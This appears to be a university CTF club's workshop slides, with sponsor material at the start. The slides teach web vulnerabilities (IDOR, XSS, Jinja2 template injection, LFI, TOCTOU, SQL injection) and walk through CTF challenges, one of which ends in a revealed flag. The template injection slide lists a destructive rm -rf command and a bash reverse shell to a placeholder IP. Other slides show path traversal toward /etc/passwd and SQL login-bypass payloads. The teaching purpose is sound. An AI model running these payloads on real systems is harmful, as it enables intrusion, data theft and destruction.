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BUGCROWD CONFIDENTIAL

Who are we? 
#1 Crowdsourced Cybersecurity Platform

Bugcrowd, founded in Australia in 2012, is a crowdsourced security company that 
safeguards organizations' assets from sophisticated threat actors before they can strike. 
Bugcrowd unites customers with their network of trusted hackers ('researchers'), who 
conduct research, penetration testing, and vulnerability disclosure through their various 
bug bounty programs on their platform.

They also unleash ingenuity for their customers through their Penetration Testing as a 
Service, Vulnerability Disclosure and Attack Surface Management solutions. 

To learn more about Bugcrowd’s products, Talk to an Expert
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How do I get started as a researcher? 
Visit Bugcrowd.com

Before you can report bugs and be rewarded for your findings, you need to create a Bugcrowd 
account. Your Bugcrowd account also comes with a profile which can be made public (or 
private), enabling you to show-off your skills and accomplishments to security peers and industry 
professionals.

Once you have created an account, pick a bug bounty program (or several!). Bugcrowd has 
many public programs that you can hack on and find security vulnerabilities in, with many of 
them paying out cash as rewards. Each bounty page has all of the details you need to start 
testing, including a list of targets, finding types that are in-scope and out of scope (or excluded) 
from the bounty, and many programs will list the pay rewards that they pay out.

Head here to Create an Account or find out more in our Frequently Asked Questions

Create an Account
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the sponge before it has 
been permuted?
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• Let:


• P be the plaintext


• S be the sponge state


• C be the ciphertext


• Pi be the ith block of the plaintext, Ci be the ith block of the ciphertext


• Si be the sponge state corresponding to Ci
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By XOR symmetry

Pi is a function of Ci and Ci-1

C is fully known to us

P1 is not recoverable, since 
we don’t know K
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• C1 = permute(K) ⊕ P1


• C2 = permute(C1) ⊕ P2


• C3 = permute(C2) ⊕ P3


• C4 = permute(C3) ⊕ P4


• C5 = permute(C4) ⊕ P5


• …

• C1 = permute(K) ⊕ P1


• permute(C1) ⊕ C2 = P2


• permute(C2) ⊕ C3 = P3


• permute(C3) ⊕ C4 = P4


• permute(C4) ⊕ C5 = P5


• …

By XOR symmetry

RISC{th1s_w4s_4_l1ttl3_b1t_tr1cky!}
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• Password form


• Can try random PWs, 
only feedback is “you 
wasted X seconds”


• Trying risc seems to waste 
more time? (two d.p. worth)


• Trying ri wastes less than 
risc
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• Timing Side Channel 

• Every correct letter adds more time to check if it is correct


• memcmp exits on the first mismatch


• We also added some artificial delay 
to make exploits more reliable


• In reality, bugs like this will involve 
thousands of measurements to notice 
statistical significance


• Cache misses, memcmp like this, etc



Call The Plumber
400pts

• Timing Side Channel 

• In sensitive contexts (i.e., cryptography), 
memcmp is typically performed in chunks



Call The Plumber
400pts

• Timing Side Channel 

• In sensitive contexts (i.e., cryptography), 
memcmp is typically performed in chunks


• To the right, memcmp 48 bytes at a time



Call The Plumber
400pts

• Timing Side Channel 

• In sensitive contexts (i.e., cryptography), 
memcmp is typically performed in chunks


• To the right, memcmp 48 bytes at a time


• Guessing 1 byte via side channel is cheap 
(255 possibilities per byte)



Call The Plumber
400pts

• Timing Side Channel 

• In sensitive contexts (i.e., cryptography), 
memcmp is typically performed in chunks


• To the right, memcmp 48 bytes at a time


• Guessing 1 byte via side channel is cheap 
(255 possibilities per byte)


• Guessing 48 bytes at a time? Not so much



https://writeups.urisc.club

https://writeups.urisc.club
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• Not just Right Click -> Inspect Element 

• I’m sure there’s at least one person in this room (me) who thought that was 
the pinnacle of hacking once upon a time


• Long ago, websites were just static HTML pages


• These days:


• PHP


• SQL


• Django

• Jinja


• Redis


• Ruby on Rails

• ASP.NET


• gRPC


• Go (another great product from the 
       search engine company)

(totally legit data)
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• HTTP = Hypertext Transfer Protocol (How browsers talk to servers) 


• Request: What your browser sends


• Response: What the server sends back 
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• GET – Retrieve data 


• POST – Send data 


• There are many HTTP methods, but GET and POST are the ones 
used most often in everyday web requests.
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IDOR Overview

• What if we’re not meant to be able to see /data/0, but server trusts input? 


• This is known as an Insecure Direct Object Reference (IDOR) vulnerability


• Server trusts user (attacker) supplied input to access resources that 
should be restricted 

• Can apply regardless of GET/POST - don’t trust user supplied input
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• Occurs when attacker controlled input is injected into a web page
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• Cross Site Scripting


• Occurs when attacker controlled input is injected into a web page


• What if our forum post contains 
valid HTML?


• Imagine it is displayed as: 
<div id=“post”> 
    <script>...</script> 
</div> 

• HTML supports <script> for inline JS - XSS allows you to run arbitrary JS on 
other user’s browsers etc
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• Two types of XSS


• Reflected:


• Supplied in URL/request


• Reflected immediately on site


• GET /dashboard?name=<script>...</script> 

• Useful in phishing campaigns - send target a malicious link on a legitimate 
website
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• Two types of XSS


• Stored:


• Stored on server, any user could be impacted


• i.e., forum post


• Noisier, higher impact


• “hey check out USER’s last post!”
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• Flask is a common python web app framework


• Leverages Jinja2 for templating


• Example: blog post template


• Template “code” runs server side


• i.e. post.author is evaluated on server


• What if template arguments are attacker 
controlled?
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Web Security
Template Injection Overview

• What if template parameters are attacker controlled?


• Jinja2 evaluates anything inside {{ }} via render_template_string  

• f”Hello, {name}!” -> “Hello, {{ 7 * 7 }}!” 

• Thought experiment: what happens when Jinja2 renders the above?
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• … we can get arbitrary python to run server side


• import os; os.system(“rm -rf —no-preserve-root /“) 


• import os; os.system(“bash -i >& /dev/tcp/IP/PORT 0>&1“) 


• with open(‘flag.txt’, ‘r’) as f: f.read().strip()  


• None of the above are actually valid, usually more like:


• ‘’.__class__.__mro__[2].__subclasses__()[40]
(‘flag.txt’).read()
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• What would proper implementation look like in Flask? 


• Why is this safe? 


• Jinja2 only evaluates {{ }} once, not recursively
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• Kind of a catch-all term


• Software that doesn’t actually implement the logic that was required


• Two bugs here - one is a logic bug, another is a 
precision bug


• Logic bug: we are adding half of b to a 

• Precision: integer arithmetic always results in an 
integer - avg(2,3) would return 3, instead of 3.5 
(or 2.5 if the logic bug didn’t exist)
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Logic Bugs

• Spotting logic bugs typically requires understanding:


• What the code is doing


• Why the code exists to begin with


• How it interacts with the rest of the codebase


• “Code should do A.B.C. , instead it’s doing A.E.C.”



Web Security
Local File Inclusion (LFI)

• LFI occurs when a file is accessed based on user input


  



Web Security
Local File Inclusion (LFI)

• LFI occurs when a file is accessed based on user input


• https://some.website.com/view?page=index.php 


  

https://some.website.com/view?page=index.php


Web Security
Local File Inclusion (LFI)

• LFI occurs when a file is accessed based on user input


• https://some.website.com/view?page=index.php 


• https://some.website.com/view?page=../../../../secret.txt 


  

https://some.website.com/view?page=index.php
https://some.website.com/view?page=index.php


Web Security
Local File Inclusion (LFI)

• LFI occurs when a file is accessed based on user input


• https://some.website.com/view?page=index.php 


• https://some.website.com/view?page=../../../../secret.txt 


• Can abuse path traversal techniques as you would do in a shell 

https://some.website.com/view?page=index.php
https://some.website.com/view?page=index.php


Web Security
Local File Inclusion (LFI)

• LFI occurs when a file is accessed based on user input


• https://some.website.com/view?page=index.php 


• https://some.website.com/view?page=../../../../secret.txt 


• Can abuse path traversal techniques as you would do in a shell


• cd ../../../ 

https://some.website.com/view?page=index.php
https://some.website.com/view?page=index.php


Web Security
Local File Inclusion (LFI)

• LFI occurs when a file is accessed based on user input


• https://some.website.com/view?page=index.php 


• https://some.website.com/view?page=../../../../secret.txt 


• Can abuse path traversal techniques as you would do in a shell


• cd ../../../ 


• Thought experiment: if our website is in /var/www/html, what would we 
have after ?page= in our example above to read /etc/passwd?

https://some.website.com/view?page=index.php
https://some.website.com/view?page=index.php
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TOCTOU

• Time Of Check to Time Of Use


• Example: I checked yesterday evening that I had milk in the fridge. I went to 
make coffee this morning, but the milk was all gone.


• Checked that milk was available yesterday


• Went to use milk today


• Gap between when a state is checked and when an operation is performed 
can invalidate assumptions made based on the check
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Check

Use

What if we invalidate 
the assumptions here? 
 
Make the file a link to 
file we’re not meant to 
read? 
 

Thought experiment: 
What if the do other stuff 
bit doesn’t exist? Is this  
still exploitable?
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• SQL Refresher


• SQL (Structured Query Language) is a standard language for accessing and 
manipulating relational databases 


• Applications send SQL queries to retrieve or modify data. For example:


	  SELECT * FROM cardpool WHERE cardname = ‘Hog Rider’; 

• This query fetches this cards information i.e. health, elixir cost, dmg 
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• SQL Refresher


• SQL (Structured Query Language) is a standard language for accessing and 
manipulating relational databases 


• Applications send SQL queries to retrieve or modify data. For example:


	  SELECT cost FROM cardpool WHERE cardname = ‘Hog Rider’; 

• This query fetches only the elixir cost for the card
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• Let’s pretend we have a log in form


• Under the hood a query might be built as:


SELECT name, password 
FROM user_database 
WHERE name = ‘’ OR 1=1;--’ 
AND password = ‘{password}’ 

• -- represents a comment in SQL


• We’ve now returned every row in the DB

Always true!

‘ OR 1=1;--
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• Let’s pretend we have a log in form


• Under the hood a query might be built as:


SELECT name, password 
FROM user_database 
WHERE name = ‘admin’;--’ 
AND password = ‘{password}’ 

• ... or logged in as an admin 

admin’;--
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• SELECT * FROM users WHERE username = ‘hog_rider' AND password = ‘Swing2.6';
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• SELECT * FROM users WHERE username = ‘hog_rider' AND password = ‘Swing2.6';


 

Character Name Username (user_input) Password (pass_input)
Hog Rider hog_rider Swing2.6



Web Security
SQL Injection 

  

• SELECT * FROM users WHERE username = '' OR ‘1’=‘1’;-- AND password = 'anything';


  

Character Name Username (user_input) Password (pass_input)
Hog Rider hog_rider Swing2.6

Lava Golem lava_golem molten!2025
Mega Minion mega_minion flyhigh@321

Skeleton Army skeleton_army bones4life
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Web Security
General tips

• Try and identify where user supplied input is used


• Is it validated properly?


• What assumptions does it make?


• What happens if these assumptions are invalidated?


• What was it intended to do, does it actually do this?

attacker



The scenario
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Leftman Brothers
leftmanbrothers.ctf.urisc.club

• We’ve made a fake bank website for you


• It consists of three parts:


• A Flask based landing page


• Netbank written in PHP


• A transparency report website in Golang


• There are flags scattered across all three parts of it


• There is an intro challenge explaining it too, solve that to unlock the rest

http://leftmanbrothers.ctf.urisc.club


https://ctf.urisc.club


